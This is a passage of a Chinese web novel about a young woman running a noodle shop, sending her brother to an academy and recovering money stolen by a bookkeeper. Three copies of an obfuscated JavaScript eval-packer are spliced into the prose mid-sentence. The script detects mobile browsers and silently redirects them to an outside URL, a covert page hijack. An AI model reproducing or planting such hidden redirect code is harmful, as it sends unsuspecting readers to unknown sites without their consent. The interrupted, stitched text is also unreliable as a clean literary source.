他带着鸽子往远处走，每走一百步放一次。鸽子飞回来，他就喂。再走，再放，再喂。有一次鸽子没回来，苏芸伸长脖子找了半天，才发现它落在阿沉头顶上，正歪着头往他耳朵里钻。 阿沉站着一动不动，等它闹够了，才抬手把它轻轻拨下来。 阿沉走回来时，鸽子已经乖乖缩在他衣襟里，只露出一个小脑袋，转来转去打量着四周。苏芸递过水囊，他接过来喝了两口，又喂了鸽子几滴水。鸽子喝完水，把头往他袖口里一缩，乖乖趴着。 “这只，差不多了。” “好快啊，我本来以为这批要驯一个月。” 苏芸伸手轻轻摸了摸鸽子，鸽子的羽毛好光滑，触感极好。 任务提前完成，苏芸的心情很好。 “对了阿沉，你驯鸽的本事，是在……你家乡那边学会的吗？” “嗯。”阿沉点点头，苏芸瞧他脸色如常，这才放下心来。 “以前…在兵营，我年纪小，那些人不愿搭理我。” “我经常和动物待在一起，鸽子…还有马…它们是我的朋友。” 鸽子在苏芸的袖子上停了一会儿，又飞回阿沉肩头。阿沉把它拨下来，放回笼子里。 “回去了。”他说。 “好。” 苏芸站起来拍拍裙子，接过他手里的鸽笼。两个人并排往山下走，雪在脚底下咯吱咯吱响。 回到面馆后，苏芸回到灶房揉面，揉着揉着停下来，往窗外看了一眼。阿沉蹲在鸽舍前，那只白鸽又飞到他的肩膀上。 傍晚客人多了些，好几道面都卖光了，苏芸边肉面团边想着，下次得多备些食材了。 “芸儿，芸儿。”苏平之突然走了进来。 “嗯？”苏芸没有回头，而是把切好的面条丢进大锅里。 “给你的。”苏平之说着递来一两银子。 “啊？” “有个食客，说你做得面让他想到京城的故人，让我把这个给你然后就走了。” “恭喜啊芸儿！”苏平之说完乐呵呵地走了，苏芸拿着一两银子，放在手上掂了几下，然后又收进口袋里。 遇到阔绰的好心人了啊，真好！ 苏芸继续煮着面条，眼睛里全是笑意。 · 这日赵秀才来了。 他进门时手里还提着两盒点心，一盒桂花糕，一盒核桃酥，用油纸包得方方正正递给苏芸。 苏芸擦了擦手笑着接过递来的点心。“赵秀才，今日怎么还带东西？” “还是阳春面？” 赵秀才摇摇头。他说话还是那样慢，每个字都像在嘴里称过轻重：“老板娘，我中了！” 苏芸愣了一下，随即笑出声来。“中了？中举了！！！” 她这一嗓子把苏平之从柜台后面喊了出来，苏平之放下手里的账本站起来，走到赵秀才面前，上下打量了一圈，忽然弯腰作了个揖：“恭喜赵兄。” 赵秀才连忙还礼，脸又红了。他从前脸红是因为苏芸多下了二两面，今日脸红是因为被人恭喜。 “今日来，是想请老板娘帮个忙。”赵秀才坐下来，“过几日我想在书院办场答谢宴，请几位同窗和先生，想请苏记面馆承包席面，不用太铺张，但要体面。” 好耶！这还是苏记面馆第一次承包宴席呢！ 苏芸在心里飞快算着，席面，不是单碗面。体面，意味着品类要多，要有冷盘有主食有甜品，还要配茶水。 书院是云洲文人聚集的地方，先生是告老还乡的进士，同窗都是将来的举子。这单做好了，苏记面馆的名声就不是“西街口那家好吃的面馆”了，是“能承办书院答谢宴的馆子”。 “赵秀才。”苏芸坐下来，“席面我们可以做。品类我列给你，冷盘主食甜品茶水，你挑。价格按品类算，不按人头，多了算我送的。” 她在心里飞快列了个单子：冷盘四样，酱牛肉、凉拌木耳、卤味拼盘，鸡丝拉皮。主食四样，阳春面和鸡排面，海鲜面和桂花面，量大管饱。 甜品两样，双皮奶和奶茶，还有茶水是南福寺静宁送的绿茶，不加钱。 赵秀才听完单子，笑得很开心。“老板娘，这个席面，比我预想的体面。” 苏芸笑着拍拍他的肩膀：“你中了举，就该体面。” 价格算下来是一两二钱银子，苏芸抹了二钱。赵秀才从袖中摸出银子放在桌上，苏芸道谢收下。 赵秀才走后苏芸坐在柜台后面，拿出账本开始算总账。苏平之在旁边磨墨，墨石一圈圈在砚台上转，发出细密的沙沙声。 苏芸算的是苏平之念书的钱。 现在面馆生意好些了，也是时候该为苏平之考虑考虑。 苏芸又拿出张纸，写了下来。 找书院，束脩四钱，住宿三钱每月，伙食在外头吃，也得二钱。 府试报名要三钱，还有廩生的担保费，这个可以请秀才，但再怎么着也得三钱。 再加上文房四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488216|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝以及书本费，几个月下来也要五两。 现在是一月，府试在五月，还有四个月时间，所以一共需要…… 束脩四钱，四个月就是一两六钱。住宿三钱每月，四个月是一两二钱。伙食二钱每月，四个月八钱。 报名费三钱，担保费三钱，文房书本五两。 一两六钱加一两二钱是二两八钱，加八钱是三两六钱，加三钱是三两九钱，加三钱是四两二钱，再加五两，总共九两二钱。 苏芸把笔放下，盯着纸上的数字看了一会儿。不对，漏了车马费。从云洲到府城，牛车来回怎么也得一两银子。 那就再加一两。 十两二钱。 还有四个月里免不了的人情往来、考前打点、还有应急的钱，这些零碎花销，再备个五两才踏实。 十五两。 她把那张纸折好，收进袖子里，起身去灶房。锅里还煮着明早要用的红豆，咕噜咕噜冒着热气。十五两银子，面馆三个多月的净利，她攒了大半年的家底，刚好够苏平之考这一场。 她愿意。 方若华来的时候苏芸还在算账。她提着一只小竹篮，里面是两盒百花铺新上的的香粉，和一罐桂花酱。 她把竹篮放在柜台上，苏芸抬头看了她一眼，又低头继续拨算盘。方若华没有打扰她，转身走到苏平之那边。 苏平之正在写字。他最近练的是小楷，字比从前更细了，每一笔都收得很稳。方若华站在他旁边看了一会儿，没有出声。 她看见他写的是《论语》里的一段。“学而时习之，不亦说乎”。墨迹还没干，他写完最后一个字，放下笔，抬头看见方若华，愣了一下。 “方姑娘。” “苏大哥。”方若华指了指他刚写的字，“这个字写得真好。” 苏平之低头看了看，笑了。“还差得远。从前先生教过，好多年没练，手生了。” 方若华没有接话。她从竹篮里拿出一盒香膏放在他桌角。不是桂花味的，是松木香，很淡，像墨条刚磨开时那股味道。 “这个是新调的，写字久了手腕会酸，抹一点能缓解。比桂花味的淡，不会熏纸。” 苏平之接过来，打开盖子闻了闻。松木的香很轻，不凑近几乎闻不到。他抬起头想道谢，方若华已经转身往柜台那边走了。 “方姑娘。”苏平之喊住她。 方若华回头。 “多谢。”苏平之笑着把香膏握在手里，手指在盒盖上轻轻摩挲了一下。方若华笑了笑，没说话，走到柜台前和苏芸聊起桂花酱的配方。 苏芸没有注意到那盒松木香膏。她的注意力还在账本上。方若华走后，她又拨了好一会儿算盘，然后把账本合上，站起来走到苏平之面前。 “平之哥。” “嗯？” “你想不想去念书？” 苏平之手里的笔停了。他没有抬头，只是看着纸上还没干的墨迹。 “我算过，钱够的。”苏芸把账本放在他桌上，“这些钱够送你去书院以及之后的一系列费用，还记得铁牛吗？他今年要参加府试的。你比他底子好，只要捡起来……” “芸儿。”苏平之打断她。他放下笔，把香膏往桌角挪了挪，然后抬起头看着她。“你为什么觉得，我还要去念书？” 苏芸张了张嘴，没说出话。 “芸儿，我不想你为了我念书，把每一文钱都掰成两半花。” “现在这样挺好的，咱们好不容易攒下点儿钱，存着安心，别花在我身上，省的竹篮打水一场空。” 苏芸低头看着手里的账本，封皮已经被她翻得卷了边。她刚才算账的时候没有犹豫，够，可以，那就送他去。但他不要。 “东市古董店的刘掌柜前几天又来找我了，他想收我做学徒，每月三两，包吃住。” “我想答应他。从前我不敢走，因为怕你受欺负。” “现在有阿沉在，他可以保护你。至于我的活，你再找个人就行，这样以后算上我的工钱。咱们还能多攒些钱。” “哥。”苏芸低下头。“帐不是这么算的。” “你的手应该用来读书写字，不是去当什么学徒，也不是在面馆里耗着。 “以前没办法，只能把你绑在这，现在我们条件好了，你该走你的那条路。” 苏芸说完那句话，她转身回了灶房。苏平之低头看着砚台上还没干的墨迹，把笔搁在笔架上，手指在砚台边缘停了一会儿。 然后他把方若华那盒松木香膏拿起来，打开盖子又闻了闻，合上，放回桌角。院子里阿沉在鸽舍前蹲着，鸽子咕咕叫了几声，劈柴声还没有响。苏平之重新铺开一张纸，拿起笔，在纸的最上面写下四个字：府试，五月。 17. 卷钱跑路 明德书院坐落在云洲城南，靠近南街尽头的那片槐树林。 书院离闹市不远不近。从西街口苏记面馆走过去，约莫半个时辰。出了南街的石桥，沿着槐树林往深处走，嘈杂的声音就渐渐被树林净化掉了。院门外是一条卵石铺的小径，两边种着竹子，风吹过时沙沙响。 这里的先生姓程，听说从前是在京城做过官的，直到花甲之年才告老还乡，被当地官府请来这里教书。 苏芸交了束脩和食宿费，又硬塞了二钱银子给苏平之当零用，然后和阿沉一起陪他走到城南，目送他一步三回头走进书院。 苏平之背着书袋朝他们挥挥手。 “芸儿，我走啦，有事随时过来找我！” “阿沉你也保重，好好照顾芸儿！” 苏芸冲苏平之用力挥挥手，心里生出一股熟悉的感觉。 好像在送自家小孩上学…从前她读高中住校的时候爸妈也是这样送她的。 “好啦，我们也回去吧！” 阿沉点了点头。两个人转身往西街口走。苏芸走了几步，又回头看了一眼。阿沉没回头，但他的脚步比平时慢。 苏平之去了书院后，面馆的账本便没人管了。苏芸白天揉面调汤，晚上打着哈欠点灯算账，算到子时眼皮打架，还算错了两回。 阿沉也来帮忙，但显然他数学也不算很好，两个人各记一本帐，结果差了十万八千里。 苏芸从前在现代也算过账，但都是用计算器加Excel表格统计。现在要古法手写，她有点撑不来。 一周后她站在柜台后面，盯着账本上那几处涂改的墨团辨认很久，然后认命地把账本合上了。 算了，有些钱还是让别人赚吧。 招账房！ 她和阿沉把告示贴在西街口的公告栏上，那是苏平之回来时写的，他的字好，工工整整，比她自己写的那手虫子爬的毛笔字体面得多。 告示上写明了待遇：每月一两二钱，包吃住做得好还有节礼。 隔天一早，面馆门口排起了队。苏芸搬了张桌子坐在门口，一个一个问。 有以前在当铺做账的，有在布庄管过钱柜的，还有几个书院的学生想赚点外快。苏芸问得细：会不会打算盘？记过多少本账？有没有做过假账？最后一个问题问出来，好几个人脸色变了，甩袖就走。 到了下午苏芸看见了一个意想不到的人。 李行老。 他来的时候苏芸刚面试完一个老实巴交的中年人，苏芸正低头翻人家的脚色状。一股熟悉的烟草味飘过来，苏芸抬起头，就看见李行老那张堆满褶子的笑脸。 “苏老板，好久不见，生意兴隆啊。” 苏芸放下笔挑眉看向他。“李行老，您这是？” “应聘账房！”李行老咧嘴一笑，从怀里掏出一张纸推过来。 “苏老板，咱们知根知底，老头子我做了三十年牙人，帮人谈买卖、管账目、追债平事什么都干过。这张纸是在下的脚色状，您过目。” 苏芸低头看那张纸，上面密密麻麻写着经年累月做过的活计，某年某月替某商号追回坏账若干，某年某月替某布庄盘点库存分毫不差。字是小楷，写得不如苏平之，但每一笔都横平竖直。 要说业务能力，这老头确实能打。 但…… 苏芸心底还是介意他坑自己的事儿。如果是招跑堂，那还能勉强考虑考虑这种能说会道的人，但账房…必须要踏实稳重，不能有太多心眼。 见苏芸脸色阴晴不定，李行老哪还能看不出她在想什么？于是弯了弯腰，主动把姿态放低。 “我知道上回在茗香苑的事，苏老板心里有疙瘩。今天当着您的面，老头子给您赔个不是。” 苏芸把那张脚色状推了回去。“李行老，您有本事，我知道。上回的事不用提，您也是生意人，各为其利。但账房这个位置，我得找信得过的人。” 李行老脸上的笑容淡了一瞬，又很快堆回来。他没有再说什么，把东西收进怀里，起身告辞。苏芸看着他的背影在西街口拐弯消失。 最后苏芸选了一个姓钱的账房。四十二岁，曾在绸缎庄做了八年，绸缎庄倒闭后才出来另寻活计，说话慢条斯理，算盘打得飞快。 苏芸让他试做了三天，账本记得工工整整，每一笔进出都分毫不差。苏芸放下心来，把账本钥匙一并交给了他。 · 李行老回家时天已经黑透了，屋子里还亮着一盏小油灯。他家娘子正抱着个小女孩，靠在床角半眯着眼。 见到李行老，他娘子轻轻把女孩放下，桌子上还摆了碗稀粥，虽用碗扣着，但也已经凉了。 “才回来啊，我去给你热热。” “哎不用，凑合吃吧。”李行老压低了声音，生怕吵醒沉睡的女孩。 “珠珠今天咋样了？” “还是胸口疼，大夫说还要再抓几副药。” 李行老叹了口气，默默低下头喝着碗里的粥。 珠珠是他孙女，今天刚满八岁。孩她娘难产死了，她爹，自己那个废物儿子，在赌坊偷钱还冲撞了贵人，被他们按规矩给处理了，连个尸首都没留下。 珠珠先天发育不足，经常生病，他们老两口手里这点棺材本儿差不多都用来给孩子买药了。 这几个月生意太差，李行老实在接不到活，只能一大把年纪到处乱窜，看看哪家店还招工，肯收他这老骨头。 他娘子找了个给富人家洗衣服的活，每天天不亮就拿着个大木盆去河边，累得腰酸背痛，也没抱怨过什么。 “今天……有收获吗？” “没有。”李行老苦笑着摇摇头。“跑了六家，都没要我。” “没事，慢慢来，总会有机会的。” “慢不了啊，珠珠还等着用钱呢。”李行老又看了床上熟睡的女孩一眼。 “实在没办法，我就去码头扛货吧，那里管事的和我有点交情，应该能卖我个面子。” ———————————————————— 几日后，苏记面馆。 变故发生得很快。第五天早上，苏芸起来开店时发现钱柜里的银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488217|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子子少了大半。 她愣了一下，翻开账本，发现前一天的流水根本没有记进去。再翻前几页，有好几处数字对不上，她把算盘拿过来，噼里啪啦拨了一遍，拨到一半手指停了。 然后她走到账房休息的屋子推开门，空无一人。被褥还在，但人不见了。 苏芸站在空屋子里，手扶着门框，手指慢慢收紧。苏平之刚走，面馆刚走上正轨，她亲自面试了那么多人，选了看起来最老实的一个。 她转身走回柜台后面，开始重新核对账本上每一处被篡改的数字，算出钱账房卷走的总额，阿沉站在门口看着她没有说话。 那天下午她去衙门报了官，阿沉本来想陪着，但顾忌到身份问题，只能苏芸一个人去。 回来时苏芸坐在椅子上发呆，阿沉走了过来，给她倒了杯茶。 “阿沉，你说我是不是很笨？” “别这样说。”阿沉拍了拍苏芸的背。 “这，不是你的错。” “会抓到他的，一定会。” “嗯……”苏芸有些委屈，她接过杯子抬头喝下，那滴控制不住流下来的泪水恰好被碗遮住。 李行老是隔天早上来的。天还没亮透，敲门声又急又响。苏芸放下面团擦了擦手打开门，就看见李行老站在门口，头上还冒着汗，呼出的白气一阵一阵。他身边还站着两个乞丐打扮的人，一个跛脚，一个缺了两颗门牙。 “苏老板，人找到了。我找几个朋友帮忙追查，最后在城外驿站附近找到的。人也跑了可能有点远，我把钱追回来了。” 他从怀里掏出一个布包放在桌上，布包打开，里面是苏芸丢的那些碎银子和铜钱，一分不少。苏芸看着那些银子，停了很久才说出话来。“ 李叔，多谢。”李行老摆摆手。“苏老板不用谢，上回在茗香苑我坑了您的钱，这回就当扯平。” 苏芸转身拿了一些铜钱和吃食赠与那两名乞丐，对方高高兴兴地走了之后，她把李行老请到桌前坐下，倒了一碗热奶茶推到他面前。 “李叔，上回您来应聘账房，我没用您，是我的错。您要是不嫌弃，这个位子还是您的。” 李行老端着奶茶碗，低头喝了一口，然后他抬起头笑了。“好啊！多谢。” 他把碗放在桌上，用手背擦了下嘴角，“那老头子就厚着脸皮留下了。” 李行老走马上任头一天，苏芸就见识了什么叫做老江湖。他把所有账本重新翻了一遍，找出好几处从前记错的地方，又把柜台里的存银按面额分类码好并贴上标签，连米缸里堆的铜钱都倒出来一枚一枚重新数过。 他一边干一边碎碎念：“这账记得不够细啊！流水和支出要分开记，坏账和赊账也要单独列一栏。还有这里，这笔钱是贵宾卡的充值银，不能算当日流水，得单独开个账。” 苏芸在旁边听着，觉得自己捡了个宝贝。李行老有些骄傲道：“这是基本功！做账的人最忌讳账目不清，这黑脸小子做账都比你好！” 阿沉正在后院劈柴，斧头声顿了一下，不知是被夸了还是被骂了。 18. 炸猪排，盒饭，桂花糖 “你的手怎么了？” 一大早，苏芸照例把食盒递给阿沉，却注意到他的手背上有三道深深的血痕。 “没事。”阿沉把受伤的那只手背在身后，“我…先去送餐。” “回来。” 阿沉站住了，苏芸扯着他的袖子拽到自己房间，从床下翻出药箱。 “我给你上药，不然伤口会感染，到时候你整只手都会废掉。” 阿沉抿抿嘴，看了下干净的床铺，退后几步坐在了椅子上。 苏芸拉过他的手先用清水冲洗一遍，又拿纱布蘸了止血药粉轻轻洒上。 “鸽子抓的？” “嗯。” 苏芸把纱布缠了几圈，直到整个手掌都被包起来，然后打了个蝴蝶结，盯着包好的手， “这几日我来喂鸽子，你先把伤养好。” “还有柴也别劈了。” “好。” 趁着阿沉去南福寺的功夫，苏芸走到鸽舍前摊开掌心，把手上的麦子喂给它们。 十只鸽子争先恐后地啄着她的手心，苏芸觉得就像有人不停拿笔尖戳她一样。 看来得做个手套了，不过云国是不是没有这东西？冬天的时候她从没见人戴过，苏芸想。 上回在鸽子会买的十只鸽子差不多已经驯好了，等过几日苏记面馆将会正式推出—— 外卖服务！ 做外卖是苏芸从很久以前就开始计划的，她所在的西市区属于“平民区”，美食竞争卷得厉害。 除了那个讨厌的全福楼以外还有不少物美价廉的小饭馆，之前苏芸做商业调研的时候吃过不少，不得不说每家都有自己的拿手绝活。 苏芸的面馆能晃晃悠悠地开起来，还有点儿小热度，完全是打了个信息差，推出些新花样让古代人吃个新鲜。 她知道如果自己单纯做面条的话，估计最多半年就撑不住了。 “老板，老板。” 苏芸刚把做好的面条递给跑堂，就听见李行老在喊她。 “怎么了李叔？” 李行老用眼神示意苏芸看向最右边的一位食客，那是个穿黄裙的姑娘。 “那个人，她是张华生的女儿，叫张……张锦书。”李行老压低了声音，语气警惕。 “要不想办法给她请走？她爹开酒楼的来咱们这儿吃什么饭，一看就没安好心！” “她点单了吗？” “点了，奶茶和海鲜面，还有两根烤肠和一份双皮奶。” 这几道菜都是全福楼已经复刻了的，听到这里苏芸莫名放下心来， “没事，来者是客，不用赶她走。” 想了想苏芸还是嘱咐了一句，“李叔你多盯着点，如果她闹事的话你再来找我。” “好嘞，您放心！” 说完苏芸回到了灶房，把昨晚泡好的小米饭蒸熟，又拌了切碎的红枣枸杞，盛进粗陶碗里压得结结实实的，然后倒扣出来堆了个小山包。 抽出菜刀，把猪肉两面拍松倒进碗里，放了点盐，酱油，还有一小勺米酒和姜汁，抓拌均匀进行腌制。 她拿起龙须菜，也就是现代的芦笋，芦笋已经洗干净了，但是这里没有削皮刀，也只能带着皮一起煮了。 转眼间苏平之已经在书院半个月了，上次他回家时肉眼可见瘦了一大圈，脸颊都凹陷了。 “哥你怎么瘦了那么多？是累的吗？” “啊对啊！程先生布置的课业很多，所以我经常熬夜复习，没事儿。” 他虽这么说，但苏芸注意到那天苏平之吃了足足三碗面条，第二天走的时候还打包了两份。 得，这是没吃好啊。 书院是有食堂的，为此她还多掏了二钱银子。 当初她也想过要不要给苏平之带饭，但想着那么大的书院，吃得应该不错（吧），也就偷了下懒，没多调查。 果然，世界上所有学校的食堂都很难吃！ 苏芸把热锅里的芦笋捞了出来，放进凉水泡着保绿，然后再沥干备用。 拿起腌好的猪排，两面滚上干面粉，烧热的铁鏊浇一勺猪油晃开，用钳子夹起猪排平铺放下。 猪排发出滋啦滋啦的响声，烟雾瞬间升了起来。 等到两面煎至金黄微焦，她拿起根筷子戳了戳，没血，嗯，熟了～ 借着锅底油翻炒几下芦笋，撒几粒盐，绿色的芦笋放在金黄的猪排旁边，看上去垂涎欲滴。 除了炸猪排配芦笋，苏芸还做了道西兰花炒木耳，一荤一素营养丰富。 她把饭菜分别装进温盘，再层层摞进小食盒里，此时阿沉已经推着餐车在门口等她了。 “走吧～” 两个人推着餐车出门，多绕了段路来到明德书院，正好赶上午时课间，苏平之和几个同窗刚好从讲堂出来，看见苏芸和阿沉，他愣了下，然后快步迎了上去。 “芸儿，阿沉，你们怎么来了？” “我们要去东市摆摊，顺路送给你这个～” 苏芸从餐车底下拿出小食盒，递给苏平之。 苏平之接过食盒打开，香气扑面而来，丰盛的饭菜把食盒装得满满当当，甚至还有切好的橙子。 “哥你多吃点，都是现做的，这儿伙食不好吧？以后我早些做，阿沉去南福寺正好顺路给你送来。” 苏平之低下头，双手微微颤抖，“芸儿，阿沉，不用这么麻烦的…” “食堂吃得自然不如家里，但也没到无法忍受的地步，你们平时已经那么忙了，不必在为我多花时间。” “哎呀哥你又来了，”苏芸握住他的手，“都是一家人这么客气做什么？” 旁边的阿沉也附和地点点头，“大哥…不必客气。” 又说了几句，二人走后，苏平之回到讲堂坐下，把食盒摆到桌上一一放好。 猪排还是温的，表面微微泛着油光，芦笋翠绿，木耳黑亮，小米饭上缀着红枣碎，旁边还搁了两瓣切好的橙子。他把筷子伸向猪排，夹起一块，咬下去。酥脆的外皮在齿间咔嚓一声裂开，里面的肉嫩得微微弹牙，肉汁混着姜汁的清香溢了满口。 他嚼了几下忽然停了下来，看了看眼前的饭菜。这么些东西，起码也要做上半个时辰吧？芸儿和阿沉每日卯时起床干活，每天那么忙，还要费心费力管自己这个做大哥的。 “平之兄？”同窗的声音把他拉了回来，他握紧拳头，忍下心里的酸涩，眨了眨眼。 饭菜香味吸引了几位没吃好的同窗，也顾不得矜持，立刻围了过来。 “平之兄，这是哪里买到的？闻着真香啊！” 苏平之夹了口米饭，有些骄傲道，“是我妹妹做的！” “令妹也太贴心了，平之兄好福气啊！” 见周围的同窗还在围着，苏平之叹了口气，把食盒摊开，让大家分着一起吃。 其中一人夹起芦笋尝了下，入口清脆，唇齿间满是清香。 “令妹要是来咱们食堂就好了，”另一个人吃了口炸猪排感叹道，嘴角还残留着食物的残渣。 “各位，我们家在西市街口开面馆的，就是苏记面馆，有时间欢迎各位多多捧场。”见众人吃得满意，苏平之立刻给自家打起广告来。 “苏记面馆是你家的啊？我还充过卡呢！” “我也在那儿吃过，那个桂花面我吃了十次，怎么吃也吃不腻。” 一提到苏记面馆，众人纷纷来了兴趣，七嘴八舌地谈论起来，最后又拜托苏平之回头问问苏芸，是否愿意多做几份饭菜卖给他们。 苏芸听到这个消息后欣然同意，最后定价三十文一份，一共七人下单。 累是累了点，但他们为了表示支持，还充了贵宾卡，并且表示不挑菜，给啥吃啥。 看得出来大家都对难吃的食堂无法忍受了！ 这日苏芸和阿沉又来到东市，之前卖的杯面已经过气了，所以他们这回只带了烤肠肉饼和奶茶，还有一点苏芸新做的桂花糖。 方若华去京城出差了，剩得那点儿桂花膏不够做面条的，苏芸索性把那点膏子刮出来，先用白糖清水在热锅里小火慢熬，又把桂花膏放进锅里快速搅拌，最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488218|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒入抹了油的盘子里压平冷却，切成小块密封装好。 苏芸在现代的时候很少做糖，这还是她照着从前刷短视频的记忆摸索出来的，做好后她尝了块，不错，甜。又投喂给阿沉，阿沉也说很好吃，她这才放心推出去卖。 二人刚把吃的摆上餐车，就有人光顾了。 苏芸抬眼一看，怎么又是她？ 来人正是上回李行老口中的张锦书，友商那边的人。 张锦书还穿个黄裙罗裙，外面披着白色披袍，身边还跟着个小丫鬟。 “老板，要两根烤肠，两份奶茶。” “好的，套餐优惠，一共六十五文。” 阿沉接过钱，苏芸把食物递给张锦书，对方点头道谢，眼睛又瞥见旁边写着桂花糖的罐子。 “这个，多少钱？” “十文钱，一包五块糖。” 张锦书又买了份桂花糖，见她这么支持，苏芸原本对她的那点儿防备心，也渐渐放下了。 张锦书拿起一块桂花糖放入口中，咀嚼几下，然后笑着从袖子里摸出个油纸包。 “老板，其实桂花糖我私下也做过，给你尝尝。” “你们家的东西我全都吃过，这是我根据桂花面的味道调的。” 苏芸接过张锦书递来的油纸包，拿起一颗放入嘴里。 桂花的香从舌尖漫开，和自己做得不大一样，甜而不腻，带了一点薄荷的清凉。 苏芸一下子眼睛亮了，这糖比她做得更甜，层次更丰富些。 “你这桂花糖做得比我好，加了薄荷吧？还有…甘草 张锦书笑了，“没错，老板好灵的舌头。” 苏芸有些佩服地看了她一眼，这姑娘对食物的把控很准，甜度，凉度还有口感都做得均衡，显然是练习过无数次的。 “姑娘这糖，可是在别处卖的？” “没有卖啦，我做着玩的，我爹他……” 话音未落，张锦书身边的丫鬟突然扯了扯她的衣服，“小姐你看，咱们前院的伙计在那边的呢，是不是来找你的？” 张锦书脸色微变，对苏芸点了点头，“那我先走了，以后有机会再过来吃。” “好，慢走～” 张锦书带着丫鬟很快消失在了苏芸的视线里，苏芸看着油纸包里还剩一块桂花糖，拿起来递到阿沉嘴边。 “你尝尝，她这个做得好多了。” “…各有千秋。”阿沉吃下糖，看了眼有些沮丧的苏芸，开口道。 “没事儿，人都有自己擅长的，她做糖行，我做面条行，面条才是我的统治区。” “没错。” ———————————————————— 张锦书回家时轻手轻脚的，生怕被人发现了。 可刚推开房门，就看见自家老爹坐在那儿，桌子上还放了碗热腾腾的鸡汤面，脸色不大好看。 “去哪儿了？” “我…我去东市逛了逛，没什么好玩的就回来了。” 张华生慢慢起身，把手背后。 “又去吃苏记家的东西了吧？” ……张锦书没说话，袖子里还藏着没来得及吃的炸肉饼，肉香从里面飘了出来，压根藏不住。 张华生闻到这味脸色更黑了，他敲敲桌子示意张锦书过来吃面。 “和你说过多少次了，想吃啥和爹说，外面的东西有那么好吃吗？” 张锦书坐下来喝了口鸡汤，鸡是今天早上现杀的，汤熬得鲜又浓，面条也是劲道十足。 她当然知道爹的手艺最好了，这鸡汤面是她从小吃到大的，百吃不厌。而且全福楼里的掌勺师傅，都是他一手带出来的。 但她就是馋苏记的东西，虽然自家复刻得也不差，但她还是觉得在苏记吃更香。 “我知道了爹，以后我不去了。” 张锦书笑嘻嘻说着软话，张华生这才消了气，转身离开。 张锦书夹起一筷子面条，就着鸡肉一口吞下，心里想着下次去苏记是不是该续费贵宾卡了？这回可以多充点钱。